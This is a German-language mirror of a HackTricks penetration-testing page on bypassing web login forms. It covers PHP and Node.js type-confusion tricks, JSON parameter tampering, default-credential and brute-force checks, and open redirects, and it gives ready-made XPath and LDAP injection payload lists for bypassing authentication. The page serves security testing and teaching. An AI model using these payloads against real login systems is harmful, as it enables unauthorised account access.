mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
96 lines
4.6 KiB
Markdown
96 lines
4.6 KiB
Markdown
# Login Bypass
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## **Umgehung des regulären Logins**
|
|
|
|
Wenn Sie eine Login-Seite finden, können Sie hier einige Techniken finden, um diese zu umgehen:
|
|
|
|
- Überprüfen Sie **Kommentare** auf der Seite (nach unten und nach rechts scrollen?)
|
|
- Überprüfen Sie, ob Sie **direkt auf die eingeschränkten Seiten zugreifen können**
|
|
- Überprüfen Sie, ob Sie **die Parameter nicht senden** (keine oder nur 1 senden)
|
|
- Überprüfen Sie den **PHP-Vergleichsfehler:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
|
- **Ändern Sie den Inhaltstyp in json** und senden Sie json-Werte (bool true eingeschlossen)
|
|
- Wenn Sie eine Antwort erhalten, die besagt, dass POST nicht unterstützt wird, können Sie versuchen, das **JSON im Body, aber mit einer GET-Anfrage** mit `Content-Type: application/json` zu senden
|
|
- Überprüfen Sie den möglichen Parsing-Fehler von nodejs (lesen Sie [**dies**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
|
- Nodejs wird diese Payload in eine Abfrage umwandeln, die der folgenden ähnelt: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` was dazu führt, dass das Passwort immer wahr ist.
|
|
- Wenn Sie ein JSON-Objekt senden können, können Sie `"password":{"password": 1}` senden, um den Login zu umgehen.
|
|
- Denken Sie daran, dass Sie, um diesen Login zu umgehen, immer einen **gültigen Benutzernamen kennen und senden müssen**.
|
|
- **Hinzufügen der Option `"stringifyObjects":true`** beim Aufruf von `mysql.createConnection` wird schließlich **alle unerwarteten Verhaltensweisen blockieren, wenn `Object` im Parameter übergeben wird**.
|
|
- Überprüfen Sie die Anmeldeinformationen:
|
|
- [**Standardanmeldeinformationen**](../../generic-hacking/brute-force.md#default-credentials) der verwendeten Technologie/Plattform
|
|
- **Häufige Kombinationen** (root, admin, password, Name der Technologie, Standardbenutzer mit einem dieser Passwörter).
|
|
- Erstellen Sie ein Wörterbuch mit **Cewl**, **fügen Sie** den **Standard**-Benutzernamen und das Passwort (falls vorhanden) hinzu und versuchen Sie, es mit allen Wörtern als **Benutzernamen und Passwort** zu brute-forcen
|
|
- **Brute-Force** mit einem größeren **Wörterbuch (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
|
|
|
|
### SQL Injection-Authentifizierungsumgehung
|
|
|
|
[Hier finden Sie mehrere Tricks, um den Login über **SQL-Injection** zu umgehen](../sql-injection/index.html#authentication-bypass).
|
|
|
|
Auf der folgenden Seite finden Sie eine **benutzerdefinierte Liste, um den Login** über SQL-Injection zu umgehen:
|
|
|
|
{{#ref}}
|
|
sql-login-bypass.md
|
|
{{#endref}}
|
|
|
|
### Keine SQL Injection-Authentifizierungsumgehung
|
|
|
|
[Hier finden Sie mehrere Tricks, um den Login über **No SQL Injections** zu umgehen](../nosql-injection.md#basic-authentication-bypass)**.**
|
|
|
|
Da die NoSQL-Injections erfordern, dass die Parameterwerte geändert werden, müssen Sie diese manuell testen.
|
|
|
|
### XPath Injection-Authentifizierungsumgehung
|
|
|
|
[Hier finden Sie mehrere Tricks, um den Login über **XPath Injection** zu umgehen.](../xpath-injection.md#authentication-bypass)
|
|
```
|
|
' or '1'='1
|
|
' or ''='
|
|
' or 1]%00
|
|
' or /* or '
|
|
' or "a" or '
|
|
' or 1 or '
|
|
' or true() or '
|
|
'or string-length(name(.))<10 or'
|
|
'or contains(name,'adm') or'
|
|
'or contains(.,'adm') or'
|
|
'or position()=2 or'
|
|
admin' or '
|
|
admin' or '1'='2
|
|
```
|
|
### LDAP Injection Authentifizierungsumgehung
|
|
|
|
[Hier finden Sie mehrere Tricks, um sich über **LDAP Injection** anzumelden.](../ldap-injection.md#login-bypass)
|
|
```
|
|
*
|
|
*)(&
|
|
*)(|(&
|
|
pwd)
|
|
*)(|(*
|
|
*))%00
|
|
admin)(&)
|
|
pwd
|
|
admin)(!(&(|
|
|
pwd))
|
|
admin))(|(|
|
|
```
|
|
### Remember Me
|
|
|
|
Wenn die Seite eine "**Remember Me**" Funktionalität hat, überprüfe, wie sie implementiert ist und sieh nach, ob du sie ausnutzen kannst, um **andere Konten zu übernehmen**.
|
|
|
|
### Redirects
|
|
|
|
Seiten leiten Benutzer normalerweise nach dem Login um, überprüfe, ob du diese Umleitung ändern kannst, um einen [**Open Redirect**](../open-redirect.md) zu verursachen. Vielleicht kannst du einige Informationen (Codes, Cookies...) stehlen, wenn du den Benutzer auf deine Webseite umleitest.
|
|
|
|
## Other Checks
|
|
|
|
- Überprüfe, ob du **Benutzernamen auflisten** kannst, indem du die Login-Funktionalität ausnutzt.
|
|
- Überprüfe, ob **Auto-Complete** in den Passwort/**sensiblen** Informationen **Formularen** **aktiv** ist: `<input autocomplete="false">`
|
|
|
|
## Automatic Tools
|
|
|
|
- [HTLogin](https://github.com/akinerkisa/HTLogin)
|
|
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|